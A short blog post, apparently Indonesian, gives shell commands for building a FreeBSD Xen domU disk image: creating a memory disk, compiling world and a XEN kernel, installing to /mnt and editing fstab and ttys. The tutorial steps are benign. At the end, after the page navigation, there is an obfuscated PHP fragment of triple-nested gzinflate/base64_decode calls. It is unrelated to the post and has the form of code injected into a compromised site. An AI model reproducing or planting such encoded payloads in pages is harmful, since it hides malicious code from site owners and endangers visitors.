Delicious

Archives

Categories

FreeBSD XEN domU

  ozzie / 06/12/2012


create virtual image

# truncate -s 2048M freebsd.img

create virtual disk

# mdconfig -f freebsd.img
# fdisk -B md0
# bsdlabel -wB md0s1
# newfs -U md0s1a

mounting & build

# mount /dev/md0s1a /mnt
# csup -h freebsd.iconpln.net.id  -L 2 /usr/share/examples/cvsup/standard-supfile
# export MAKEOBJDIRPREFIX=/tmp/compile.source
# cd /usr/src
# make buildworld 
# make buildkernel KERNCONF=XEN
# export DESTDIR=/mnt
# make installworld 
# make installkernel KERNCONF=XEN 
# cd /usr/src/etc 
# make distribution

prepare untuk nanti booting virtual:
/mnt/etc/fstab

/dev/xbd0       /               ufs     rw              1       1

/mnt/etc/ttys

xc0     "/usr/libexec/getty Pc"         vt100   on  secure

copy hasil compile untuk pre kernel dom0

# cp /mnt/boot/kernel/kernel /some/place/freebsd-kernel

umount & destroy

# umount /mnt
# mdconfig -d -u md0

« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>